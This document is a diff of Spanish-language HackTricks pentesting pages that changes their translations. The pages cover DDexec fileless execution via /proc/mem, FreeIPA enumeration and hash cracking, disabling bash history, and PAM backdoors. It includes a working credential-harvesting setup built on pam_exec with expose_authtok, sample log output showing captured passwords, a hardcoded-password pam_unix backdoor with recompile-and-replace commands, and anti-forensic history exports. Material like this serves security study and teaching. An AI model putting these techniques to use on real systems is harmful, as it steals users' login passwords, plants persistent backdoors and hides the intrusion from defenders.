||||
### Más en detalle
|
||||
### Con más detalle
|
||||
|
||||
Los pasos son relativamente fáciles y no requieren ningún tipo de experiencia para entenderlos:
|
||||
|
||||
* Analizar el binario que queremos ejecutar y el cargador para averiguar qué mapeos necesitan. Luego, elaborar un "shell"code que realizará, en términos generales, los mismos pasos que el kernel hace en cada llamada a `execve()`:
|
||||
* Crear dichos mapeos.
|
||||
* Leer los binarios en ellos.
|
||||
* Establecer permisos.
|
||||
* Finalmente, inicializar la pila con los argumentos para el programa y colocar el vector auxiliar (necesario por el cargador).
|
||||
* Saltar al cargador y dejar que haga el resto (cargar las bibliotecas necesarias para el programa).
|
||||
* Obtener del archivo `syscall` la dirección a la que el proceso regresará después de la llamada al sistema que está ejecutando.
|
||||
* Sobrescribir ese lugar, que será ejecutable, con nuestro shellcode (a través de `mem` podemos modificar páginas no escribibles).
|
||||
* Pasar el programa que queremos ejecutar al stdin del proceso (será `read()` por dicho "shell"code).
|
||||
* En este punto depende del cargador cargar las bibliotecas necesarias para nuestro programa y saltar a él.
|
||||
- Analizar el binario que queremos ejecutar y el cargador para averiguar qué mapeos necesitan. Luego crear un "código" de "shell" que realizará, en términos generales, los mismos pasos que el kernel hace en cada llamada a `execve()`:
|
||||
- Crear dichos mapeos.
|
||||
- Leer los binarios en ellos.
|
||||
- Configurar permisos.
|
||||
- Finalmente, inicializar la pila con los argumentos del programa y colocar el vector auxiliar (necesario por el cargador).
|
||||
- Saltar al cargador y dejar que haga el resto (cargar las bibliotecas necesarias para el programa).
|
||||
- Obtener del archivo `syscall` la dirección a la que el proceso regresará después de la llamada al sistema que está ejecutando.
|
||||
- Sobrescribir ese lugar, que será ejecutable, con nuestro código de "shell" (a través de `mem` podemos modificar páginas no escribibles).
|
||||
- Pasar el programa que queremos ejecutar a la entrada estándar del proceso (será `leído()` por dicho código de "shell").
|
||||
- En este punto, depende del cargador cargar las bibliotecas necesarias para nuestro programa y saltar a él.
|
||||
|
||||
**Consulta la herramienta en** [**https://github.com/arget13/DDexec**](https://github.com/arget13/DDexec)
|
||||
**Echa un vistazo a la herramienta en** [**https://github.com/arget13/DDexec**](https://github.com/arget13/DDexec)
|
||||
|
||||
## EverythingExec
|
||||
|
||||
A partir del 12/12/2022 he encontrado una serie de alternativas a `dd`, una de las cuales, `tail`, es actualmente el programa predeterminado utilizado para hacer `lseek()` a través del archivo `mem` (que era el único propósito de usar `dd`). Las alternativas mencionadas son:
|
||||
A partir del 12/12/2022, he encontrado varias alternativas a `dd`, una de las cuales, `tail`, es actualmente el programa predeterminado utilizado para `lseek()` a través del archivo `mem` (que era el único propósito de usar `dd`). Dichas alternativas son:
|
||||
```bash
|
||||
tail
|
||||
hexdump
|
||||
cmp
|
||||
xxd
|
||||
```
|
||||
Estableciendo la variable `SEEKER` puedes cambiar el buscador utilizado, _p. ej._:
|
||||
Al establecer la variable `SEEKER`, puedes cambiar el buscador utilizado, _por ejemplo_:
|
||||
```bash
|
||||
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
|
||||
```
|
||||
Si encuentra otro seeker válido que no esté implementado en el script, aún puede usarlo configurando la variable `SEEKER_ARGS`:
|
||||
Si encuentras otro buscador válido que no esté implementado en el script, aún puedes usarlo configurando la variable `SEEKER_ARGS`:
|
||||
```bash
|
||||
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
|
||||
```
|
||||
|
|
@ -94,14 +94,14 @@ Bloquea esto, EDRs.
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información Básica
|
||||
|
||||
FreeIPA se presenta como una **alternativa de código abierto** a Microsoft Windows **Active** **Directory** y se utiliza principalmente en entornos **Unix** para la gestión integrada. Cuenta con un directorio **LDAP completo** respaldado por un Centro de Distribución de Claves MIT **Kerberos**, similar a Active Directory. El Sistema de Certificados Dogtag se utiliza para gestionar certificados de CA y RA, lo que permite capacidades de autenticación **multifactor**, incluidas las tarjetas inteligentes. Para la integración en el proceso de autenticación de Unix, se utiliza SSSD.
|
||||
FreeIPA se presenta como una **alternativa** de código abierto a Microsoft Windows **Active** **Directory** y se utiliza principalmente en entornos **Unix** para la gestión integrada. Cuenta con un directorio **LDAP completo** respaldado por un Centro de Distribución de Claves MIT **Kerberos**, similar a Active Directory. El Sistema de Certificados Dogtag se emplea para gestionar certificados de CA y RA, lo que permite capacidades de autenticación **multifactor**, incluidas las tarjetas inteligentes. Para la integración en el proceso de autenticación de Unix, se utiliza SSSD.
|
||||
|
||||
## Huellas Digitales
|
||||
|
||||
|
|
@ -41,15 +41,15 @@ La autenticación en FreeIPA, aprovechando **Kerberos**, refleja la de **Active
|
|||
|
||||
### Archivos de Tickets CCACHE
|
||||
|
||||
Los archivos CCACHE, almacenados típicamente en **`/tmp`** con permisos **600**, son formatos binarios para almacenar credenciales Kerberos, importantes para la autenticación sin la contraseña en texto plano del usuario debido a su portabilidad. Analizar un ticket CCACHE se puede hacer utilizando el comando `klist`, y reutilizar un ticket CCACHE válido implica exportar `KRB5CCNAME` a la ruta del archivo del ticket.
|
||||
Los archivos CCACHE, almacenados típicamente en **`/tmp`** con permisos **600**, son formatos binarios para almacenar credenciales Kerberos, importantes para la autenticación sin la contraseña en texto plano del usuario debido a su portabilidad. El análisis de un ticket CCACHE se puede hacer utilizando el comando `klist`, y reutilizar un ticket CCACHE válido implica exportar `KRB5CCNAME` a la ruta del archivo del ticket.
|
||||
|
||||
### Llavero Unix
|
||||
|
||||
Alternativamente, los Tickets CCACHE se pueden almacenar en el llavero de Linux, ofreciendo más control sobre la gestión de tickets. El alcance del almacenamiento de tickets varía (`KEYRING:nombre`, `KEYRING:proceso:nombre`, `KEYRING:hilo:nombre`, `KEYRING:sessión:nombre`, `KEYRING:persistent:uidnúmero`), con `klist` capaz de analizar esta información para el usuario. Sin embargo, reutilizar un Ticket CCACHE desde el llavero Unix puede plantear desafíos, con herramientas como **Tickey** disponibles para extraer tickets Kerberos.
|
||||
Alternativamente, los Tickets CCACHE se pueden almacenar en el llavero de Linux, ofreciendo más control sobre la gestión de tickets. El alcance del almacenamiento de tickets varía (`KEYRING:nombre`, `KEYRING:proceso:nombre`, `KEYRING:hilo:nombre`, `KEYRING:sessión:nombre`, `KEYRING:persistent:uidnúmero`), con `klist` capaz de analizar esta información para el usuario. Sin embargo, reutilizar un Ticket CCACHE del llavero Unix puede plantear desafíos, con herramientas como **Tickey** disponibles para extraer tickets Kerberos.
|
||||
|
||||
### Keytab
|
||||
|
||||
Los archivos Keytab, que contienen principios Kerberos y claves encriptadas, son críticos para obtener tickets de concesión de tickets válidos (TGT) sin necesidad de la contraseña del principio. Analizar y reutilizar credenciales de archivos Keytab se puede realizar fácilmente con utilidades como `klist` y scripts como **KeytabParser**.
|
||||
Los archivos Keytab, que contienen principios Kerberos y claves encriptadas, son críticos para obtener tickets de concesión de tickets (TGT) válidos sin necesidad de la contraseña del principio. Analizar y reutilizar credenciales de archivos Keytab se puede realizar fácilmente con utilidades como `klist` y scripts como **KeytabParser**.
|
||||
|
||||
### Hoja de Trucos
|
||||
|
||||
|
|
@ -62,14 +62,14 @@ Puedes encontrar más información sobre cómo usar tickets en Linux en el sigui
|
|||
## Enumeración
|
||||
|
||||
{% hint style="warning" %}
|
||||
Podrías realizar la **enumeración** a través de **ldap** y otras **herramientas binarias**, o **conectándote a la página web en el puerto 443 del servidor FreeIPA**.
|
||||
Puedes realizar la **enumeración** a través de **ldap** y otras **herramientas binarias**, o **conectándote a la página web en el puerto 443 del servidor FreeIPA**.
|
||||
{% endhint %}
|
||||
|
||||
### Hosts, Usuarios y Grupos <a href="#4b3b" id="4b3b"></a>
|
||||
|
||||
Es posible crear **hosts**, **usuarios** y **grupos**. Los hosts y usuarios se clasifican en contenedores llamados "**Grupos de Hosts**" y "**Grupos de Usuarios**" respectivamente. Estos son similares a las **Unidades Organizativas** (OU).
|
||||
|
||||
Por defecto en FreeIPA, el servidor LDAP permite **vínculos anónimos**, y una gran cantidad de datos son enumerables **sin autenticación**. Esto puede enumerar todos los datos disponibles sin autenticación:
|
||||
De forma predeterminada en FreeIPA, el servidor LDAP permite **vínculos anónimos**, y una gran cantidad de datos son enumerables **sin autenticación**. Esto puede enumerar todos los datos disponibles sin autenticación:
|
||||
```
|
||||
ldapsearch -x
|
||||
```
|
||||
|
|
@ -109,16 +109,16 @@ El usuario **admin** de **FreeIPA** es equivalente a los **administradores de do
|
|||
|
||||
El usuario **root** del **servidor IPA** tiene acceso a los **hashes** de contraseñas.
|
||||
|
||||
* El hash de la contraseña de un usuario se almacena en formato **base64** en el atributo "**userPassword**". Este hash puede ser **SSHA512** (versiones antiguas de FreeIPA) o **PBKDF2\_SHA256**.
|
||||
* El **Nthash** de la contraseña se almacena en formato **base64** en "ipaNTHash" si el sistema está integrado con **AD**.
|
||||
* El hash de la contraseña de un usuario se almacena en **base64** en el atributo "**userPassword**". Este hash puede ser **SSHA512** (versiones antiguas de FreeIPA) o **PBKDF2\_SHA256**.
|
||||
* El **Nthash** de la contraseña se almacena en **base64** en "ipaNTHash" si el sistema está integrado con **AD**.
|
||||
|
||||
Para crackear estos hashes:
|
||||
|
||||
• Si FreeIPA está integrado con AD, el **ipaNTHash** es fácil de crackear: Debes **decodificar** el **base64** -> volver a codificarlo como **ASCII** hexadecimal -> John The Ripper o **hashcat** pueden ayudarte a crackearlo rápidamente
|
||||
• Si FreeIPA está integrado con AD, **ipaNTHash** es fácil de crackear: Debes **decodificar** **base64** -> re-codificarlo como **ASCII** hex -> John The Ripper o **hashcat** pueden ayudarte a crackearlo rápidamente
|
||||
|
||||
• Si se utiliza una versión antigua de FreeIPA, se utiliza **SSHA512**: Debes decodificar el **base64** -> encontrar el hash **SSHA512** -> John The Ripper o **hashcat** pueden ayudarte a crackearlo
|
||||
• Si se usa una versión antigua de FreeIPA, entonces se usa **SSHA512**: Debes decodificar **base64** -> encontrar el **hash** SSHA512 -> John The Ripper o **hashcat** pueden ayudarte a crackearlo
|
||||
|
||||
• Si se utiliza una nueva versión de FreeIPA, se utiliza **PBKDF2\_SHA256**: Debes decodificar el **base64** -> encontrar PBKDF2\_SHA256 -> su **longitud** es de 256 bytes. John puede trabajar con 256 bits (32 bytes) -> SHA-265 se utiliza como función seudoaleatoria, el tamaño del bloque es de 32 bytes -> solo puedes usar los primeros 256 bits de nuestro hash PBKDF2\_SHA256 -> John The Ripper o hashcat pueden ayudarte a crackearlo
|
||||
• Si se usa una nueva versión de FreeIPA, entonces se usa **PBKDF2\_SHA256**: Debes decodificar **base64** -> encontrar PBKDF2\_SHA256 -> su **longitud** es de 256 bytes. John puede trabajar con 256 bits (32 bytes) -> SHA-265 se usa como función pseudoaleatoria, el tamaño del bloque es de 32 bytes -> solo puedes usar los primeros 256 bits de nuestro hash PBKDF2\_SHA256 -> John The Ripper o hashcat pueden ayudarte a crackearlo
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (33).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -179,12 +179,12 @@ En [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405
|
|||
* [https://github.com/Orange-Cyberdefense/LinikatzV2](https://github.com/Orange-Cyberdefense/LinikatzV2)
|
||||
* [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz)
|
||||
|
||||
## Escalada de Privilegios
|
||||
## Elevación de Privilegios
|
||||
|
||||
### ~~Creación de usuario root~~
|
||||
|
||||
{% hint style="warning" %}
|
||||
Si puedes **crear un nuevo usuario con el nombre `root`**, puedes hacerse pasar por él y ser capaz de **SSH en cualquier máquina como root.**
|
||||
Si puedes **crear un nuevo usuario con el nombre `root`**, puedes hacerse pasar por él y podrás **SSH en cualquier máquina como root.**
|
||||
|
||||
**ESTO HA SIDO PARCHADO.**
|
||||
{% endhint %}
|
||||
|
|
@ -203,10 +203,10 @@ Puedes consultar una explicación detallada en [https://posts.specterops.io/atta
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -7,9 +7,9 @@
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
|
@ -80,7 +80,7 @@ Desde: [https://geek-university.com/linux/common-environment-variables/](https:/
|
|||
* **MANPATH** – la lista de directorios donde buscar páginas de manual.
|
||||
* **OSTYPE** – el tipo de sistema operativo.
|
||||
* **PS1** – el indicador predeterminado en bash.
|
||||
* **PATH** – almacena la ruta de todos los directorios que contienen archivos binarios que deseas ejecutar solo especificando el nombre del archivo y no la ruta relativa o absoluta.
|
||||
* **PATH** – almacena la ruta de todos los directorios que contienen archivos binarios que deseas ejecutar simplemente especificando el nombre del archivo y no la ruta relativa o absoluta.
|
||||
* **PWD** – el directorio de trabajo actual.
|
||||
* **SHELL** – la ruta al shell de comandos actual (por ejemplo, **/bin/bash**).
|
||||
* **TERM** – el tipo de terminal actual (por ejemplo, **xterm**).
|
||||
|
|
@ -97,7 +97,7 @@ export HISTFILESIZE=0
|
|||
```
|
||||
### **HISTSIZE**
|
||||
|
||||
Cambie el **valor de esta variable a 0**, de modo que cuando **finalice su sesión**, ningún comando se agregará al **archivo de historial** (\~/.bash\_history).
|
||||
Cambie el **valor de esta variable a 0**, de modo que cuando **finalice su sesión** ningún comando se agregará al **archivo de historial** (\~/.bash\_history).
|
||||
```bash
|
||||
export HISTSIZE=0
|
||||
```
|
||||
|
|
|
|||
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
## Sniffing de Contraseñas de Inicio de Sesión con PAM
|
||||
## Capturando Contraseñas de Inicio de Sesión con PAM
|
||||
|
||||
Vamos a configurar un módulo PAM para registrar cada contraseña que cada usuario utiliza para iniciar sesión. Si no sabes qué es PAM, consulta:
|
||||
Configuraremos un módulo PAM para registrar cada contraseña que cada usuario utilice para iniciar sesión. Si no sabes qué es PAM, consulta:
|
||||
|
||||
{% content-ref url="pam-pluggable-authentication-modules.md" %}
|
||||
[pam-pluggable-authentication-modules.md](pam-pluggable-authentication-modules.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Primero, creamos un script de bash que será invocado cada vez que ocurra una nueva autenticación.
|
||||
Primero, creamos un script bash que se invocará cada vez que ocurra una nueva autenticación.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||||
|
|
@ -41,54 +41,58 @@ Para **evitar que todos los usuarios lean** el archivo, considere crearlo previa
|
|||
sudo touch /var/log/toomanysecrets.sh
|
||||
sudo chmod 770 /var/log/toomanysecrets.sh
|
||||
```
|
||||
A continuación, es necesario actualizar el archivo de configuración de PAM; se utilizará el módulo `pam_exec` para invocar el script.
|
||||
A continuación, es necesario actualizar el archivo de configuración PAM, se utilizará el módulo `pam_exec` para invocar el script.
|
||||
|
||||
Hay varios archivos de configuración ubicados en `/etc/pam.d/`, y elegimos `common-auth`.
|
||||
Existen varios archivos de configuración ubicados en `/etc/pam.d/`, y seleccionamos `common-auth`.
|
||||
```
|
||||
sudo nano /etc/pam.d/common-auth
|
||||
```
|
||||
Al final del archivo, añade el siguiente módulo de autenticación:
|
||||
En la parte inferior del archivo, añade el siguiente módulo de autenticación:
|
||||
|
||||
`auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh`
|
||||
```plaintext
|
||||
auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
|
||||
```
|
||||
|
||||
Las opciones tienen el siguiente significado:
|
||||
Los significados de las opciones son los siguientes:
|
||||
|
||||
* **optional:** La autenticación no debería fallar si hay un error (no es un paso obligatorio)
|
||||
* **pam\_exec.so:** Este es el módulo PAM de vivir de la tierra que puede invocar scripts arbitrarios
|
||||
* **expose\_authtok:** Este es el truco que permite leer la contraseña a través de `stdin`
|
||||
* **quiet:** No mostrar ningún error al usuario (si algo no funciona)
|
||||
* El último argumento es el script de shell que se creó anteriormente
|
||||
- **optional:** La autenticación no fallará si hay un error (no es un paso obligatorio)
|
||||
- **pam\_exec.so:** Este es el módulo PAM de "living off the land" que puede invocar scripts arbitrarios
|
||||
- **expose\_authtok:** Este es el truco que permite leer la contraseña a través de `stdin`
|
||||
- **quiet:** No mostrar errores al usuario (si algo no funciona)
|
||||
- El último argumento es el script de shell que se creó previamente
|
||||
|
||||
.png>)
|
||||
|
||||
Finalmente, haz el archivo ejecutable:
|
||||
Finalmente, haz que el archivo sea ejecutable:
|
||||
|
||||
`sudo chmod 700 /usr/local/bin/toomanysecrets.sh`
|
||||
```plaintext
|
||||
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
||||
```
|
||||
|
||||
Ahora, probemos esto y hagamos ssh desde otra máquina, o iniciemos sesión localmente.
|
||||
Ahora, probemos esto y hagamos ssh desde otra máquina, o inicia sesión localmente.
|
||||
|
||||
Y luego miremos el archivo de registro:
|
||||
Y luego, revisa el archivo de registro:
|
||||
```
|
||||
$ sudo cat /var/log/toomanysecrets.log
|
||||
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
|
||||
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
|
||||
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149
|
||||
```
|
||||
### Puertas traseras en PAM
|
||||
### Instalación de puertas traseras en PAM
|
||||
|
||||
Vamos a las fuentes de PAM (depende de tu distribución, toma el mismo número de versión que la tuya...) y observa alrededor de las líneas 170/180 en el archivo pam_unix_auth.c:
|
||||
Vamos a los fuentes de PAM (depende de tu distribución, toma el mismo número de versión que la tuya..) y busca alrededor de las líneas 170/180 en el archivo pam\_unix\_auth.c:
|
||||
```
|
||||
vi modules/pam_unix/pam_unix_auth.c
|
||||
```
|
||||
.png>)
|
||||
|
||||
Cambiemos esto por:
|
||||
Cambiamos esto por:
|
||||
|
||||
 (2) (2).png>)
|
||||
|
||||
Esto permitirá que cualquier usuario que use la **contraseña "0xMitsurugi"** pueda iniciar sesión.
|
||||
|
||||
Recompila el `pam_unix_auth.c`, y reemplaza el archivo pam\_unix.so:
|
||||
Recompila el `pam_unix_auth.c` y reemplaza el archivo pam_unix.so:
|
||||
```bash
|
||||
make
|
||||
sudo cp \
|
||||
|
|
@ -110,10 +114,10 @@ Puedes automatizar este proceso con [https://github.com/zephrax/linux-pam-backdo
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,23 +1,23 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
